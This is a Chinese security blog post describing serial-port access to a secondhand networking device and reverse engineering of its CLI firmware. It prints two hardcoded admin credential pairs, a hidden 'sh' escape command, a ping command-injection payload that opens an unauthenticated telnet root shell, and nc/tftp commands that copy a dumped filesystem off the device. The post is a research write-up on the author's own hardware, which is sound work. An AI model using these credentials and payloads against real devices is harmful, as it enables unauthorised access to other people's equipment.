freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一次串口连接的发现
2023-02-21 01:22:03
所属地 北京

一次串口连接的发现

之前在咸鱼淘的一个设备,存在漏洞也是比较多,官网可以找到设备固件,有多个命令注入和缓冲区溢出而且固件更新后也没有修,想拿真实设备环境调试一下,其实通过web服务器的命令注入漏洞就可以getshell,下面记录一下我连接串口的一些小发现和实践。大佬们不喜勿喷~

连接串口

拆开外壳看到板子上的串口引脚,焊上排针,板子上已经标注好了引脚名称,省的再去拿万用表测。image_f4uNBi0kIG.png
可以直接使用USB转TTL工具按照以下连接方式进行连接:

GND引脚对应TTL的GND,RXD引脚对应TTL的TXD,TXD引脚对应TTL的RXD,VCC引脚不用接

(图中串口引脚下边为NAND flash)

image_OUIagZlX6w.png

设置好波特率,有正常输出,一般试常见的几个,不乱码的即为正确的波特率,也可以用工具爆破

串口登录cli

在设备启动了一段时间以后,按回车,看到有登录Linux shell的提示,试了几个弱口令,失败微信截图_20230209214022_BTY3msR-2Z.png
在官网下载了设备固件,是ubi文件系统,我这边binwalk依赖比较新,没有用ubireader就直接解了出来,而/etc/passwd中的凭证没有破解出来

所以根据关键字“Login incorrect”,使用grep在文件系统里查找对应的文件
`

rootfs_ubifs$ grep -r "Login incorrect"
Binary file usr/bin/pppd_248 matches
Binary file bin/pppd matches
Binary file lib/libcms_cli.so matches   # 根据"cli"判断是该文件

`
分析libcms_cli.so,定位字符串引用image_INb-w2QPk_.png

在cmsCli_authenticate()函数,

...
  if ( a1 != 3 || (result = j_cli_readString((int)v20, 0x100u)) == 0 )
  {
    v8 = 0;
    while ( 1 )
    {
      v20[0] = 0;
      dest[0] = 0;
      printf("Login: ");
      fflush((FILE *)stdout);
      v4 = j_cli_readString((int)v20, 0x100u);  //获取用户名,v20[]
      if ( v4 )
        return v4;
      v12 = getpass("Password: ");  //获取密码
      if ( v12 )
      {
        s = v12;
        strcpy(dest, v12);
        v13 = strlen(s);
        memset(s, 0, v13);
      }
      v14 = cmsLck_acquireLockWithTimeoutTraced("cmsCli_authenticate", 6000);
      ++v8;
      v4 = v14;
      if ( v14 )
      {
        v5 = log_log(3, "cmsCli_authenticate", 191, "failed to get lock, ret=%d", v14);
        goto LABEL_20;
      }
      v9 = cmsDal_authenticate(&v18, a1, v20, dest);   //cmsDal_authenticate是验证口令的功能
      cmsLck_releaseLockTraced("cmsCli_authenticate");
      v19[4] = (int)v20;
      v19[2] = (int)&currAppName;
      v10 = v19[6];
      v19[6] |= 0x28u;
      if ( currAppPort )
      {
        v19[1] = (unsigned __int16)currAppPort;
        v19[6] = v10 | 0x2E;
        v19[3] = (int)&currIpAddr;
      }
      if ( v9 == 1 )    //从这里判断出 v9是作为成功与否的标志
        break;
      if ( v8 <= 2 )
      {
        cmsLog_security(4, v19, 0);
        puts("Login incorrect. Try again.");
        ...

跟到libcms_dal.so中的cmsCli_authenticate函数,很明显是两对硬编码凭证

...
    if ( a2 == 2 )
    {
      if ( !strcmp("telecomadmin", a3) )
        v8 = strcmp("nE7jA%5m", a4) == 0;  //v8为函数返回结果
      if ( !strcmp("CMCCAdmin", a3) && !strcmp("aDm8H%MdA", a4) )
        v8 = 1;
      *a1 = 2;
    }
    ...

telecomadmin用户登录进去无法执行命令(函数结果返回为0),而在libcms_cli.so中,没有定义这个用户的权限

CMCCAdmin/aDm8H%MdA凭证会返回1

登录成功,但并没有进入常见的busybox,尝试执行ls显示不支持命令,ps却可以执行
image_CIFGOf6EsB.png

通过help查看到支持的命令有如下(图片只显示了部分),关注到有tftp
微信截图_20230209222342_5dx0v83Dzx.png

如何进入Linux shell

前边试了设置uboot参数,没有成功
根据以上情况,假设一种场景:假设在设备上电后,无需口令即可进入此时“受限shell”

①这时候可以选择通过ps查看运行的关键进程,通过tftp将想要分析的文件传出来,如web服务器image_xZStKAZOxI.png

image_3NYNa7XZSA.png

②尝试cli逃逸

根据“unrecongnized command”字符串,定位到如下代码

... 
  v3 = " > ";
  result = j_cmdedit_read_input(" > ", s);   //获取command
  if ( result >= 0 )
  {
    v1 = strlen(s);
    if ( v1 > 0 )
    {
      v2 = v1 - 1;
      if ( s[v2] == 10 )
        s[v2] = 0;
    }
    result = log_log(7, "processInput", 361, "read =>%s<=", s);
    if ( s[0] )
    {
      result = j_cli_processCliCmd((int)s);    //处理command
      if ( result != 1 )
      {
        result = j_cli_processHiddenCmd(s);   //根据名字判断是处理隐藏命令
        if ( result != 1 )
          result = log_log(3, "processInput", 387, "unrecognized command %s", s);
      }
   ...

跟到j_cli_processHiddenCmd,存放了“隐藏命令”,明显看到有 sh命令,输入即可进入标准shell

.data.rel.ro:0002CBC4 off_2CBC4       DCD aDumpmem            ; DATA XREF: cli_processHiddenCmd:loc_6640↑o
.data.rel.ro:0002CBC4                                         ; cli_processHiddenCmd+50↑o ...
.data.rel.ro:0002CBC4                                         ; "dumpmem"
.data.rel.ro:0002CBC8                 DCD aEbtables           ; "ebtables"
.data.rel.ro:0002CBCC                 DCD aIptables           ; "iptables"
.data.rel.ro:0002CBD0                 DCD aLogread            ; "logread"
.data.rel.ro:0002CBD4                 DCD aSetmem             ; "setmem"
.data.rel.ro:0002CBD8                 DCD aCSh+3              ; "sh"
.data.rel.ro:0002CBDC                 DCD aPspctl             ; "pspctl"

image_V-kCJbK4da.png

如果输入的不是“sh”,则会通过prctl_spawnProcess()执行输入的命令,此时就存在命令注入漏洞(贼鸡肋,sh已经可以直接getshell了)
image_MftnxyqI_5.png
image_SfVl58-RDi.png

③其实在上一步分析之前,笔者首先是跟进到了j_cli_processCliCmd

发现会将输入的命令和off_2CBE0之后一段的数据进行对比,也就是help打印出来支持的命令

......
.data.rel.ro:0002CBE0 off_2CBE0       DCD asc_1779A           ; DATA XREF: sub_5828+8↑o
.data.rel.ro:0002CBE0                                         ; sub_5828+14↑o ...
.data.rel.ro:0002CBE0                                         ; "?"
.data.rel.ro:0002CBE4                 DCD aListOfAllComma     ; "List of all commands."
.data.rel.ro:0002CBE8                 DCD dword_C0+1
.data.rel.ro:0002CBEC                 DCD sub_5828
.data.rel.ro:0002CBF0                 DCD aHelp               ; "help"
.data.rel.ro:0002CBF4                 DCD aListOfAllComma     ; "List of all commands."
.data.rel.ro:0002CBF8                 DCD dword_C0+1
.data.rel.ro:0002CBFC                 DCD sub_5828
.data.rel.ro:0002CC00                 DCD aLogout             ; "logout"
.data.rel.ro:0002CC04                 DCD aLogoutFromCli      ; "Logout from CLI."
.data.rel.ro:0002CC08                 DCD dword_C0+1
.data.rel.ro:0002CC0C                 DCD sub_57C8
.data.rel.ro:0002CC10                 DCD aExit               ; "exit"
.data.rel.ro:0002CC14                 DCD aLogoutFromCli      ; "Logout from CLI."
.data.rel.ro:0002CC18                 DCD dword_C0+1
.data.rel.ro:0002CC1C                 DCD sub_57C8
......

在ping 命令处尝试截断,发现存在命令注入,可成功在8888端口开启telnet,且无需身份验证

ping 192.168.10.1;utelnetd -l /bin/sh -p 8888

image_S608GZttIT.png微信截图_20230209210253_igguZGtkNu.png

思考为什么只有ping存在命令注入,因为测试了其他几个命令是不存在的该漏洞,且只有在ping有输出结果的情况才触发命令注入,即直接输入ping ;utelnetd -p 8888 -l /bin/sh也无法开启telnetd
image_q7zyW4VSj-.png

继续分析cli_processCliCmd(),prctl_runCommandInShellWithTimeout(s)函数看着和此时执行ping命令存在命令注入漏洞的情况比较符合

......
v12 = off_2CBE0[v7 + 3];
if ( v12 )
{
  if ( v3 == v5 )
    v13 = &s[v3];
  else
    v13 = (char *)(v3 + 1);
  if ( v3 != v5 )
    v13 = &s[(_DWORD)v13];
  v14 = ((int (__fastcall *)(char *))v12)(v13);
}
else
{
  v14 = prctl_runCommandInShellWithTimeout(s);   //看函数名为有延迟(猜测可能为非一次输出)的意思
}
......

跟进到在libcms_util.so中,最终在sub_D2C0—>execv造成了命令注入image_E1co0u5Ljk.png

image_9fe0obtBRg.png

具体流程细节也没有再跟

获取文件系统

获取shell之后,就是想办法把文件系统打包传出来,查看磁盘情况,直接tar打包根目录或者dd将mtd0(一般是存放的固件)刻出来,nand flash也可使用nanddump
image_YJltqUIrpR.png

tar -cvfz /tmp/rootfs /  #打包文件系统

#dump固件
dd if=/dev/mtd0 of=/tmp/mtd0

nanddump -of /tmp/mtd0 /dev/mtd0

传输可用nc或者tftp等

tftp -p -t f -l filename server_ip

接收端:nc -l -p 1337 >rootfs.tar
设备端:nc <接收端ip地址> 1337 </tmp/rootfs.tar

将dump下来的固件解包,得到文件系统
image_XyMuJFDvkg.png

总结

原本目的是想要在真实设备开启漏洞调试环境(已得到文件系统),偶然发现的串口几种getshell的方式,然后列举实践了几种常见的通过完整Linux shell 来dump文件系统(固件)的场景。 有时间后边写一下通过uboot来拿固件,CFE支持的命令比较陌生,不是很顺利。~~~~

整体思路比较简单,还望多多指教。

# IoT安全 # IoT固件
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录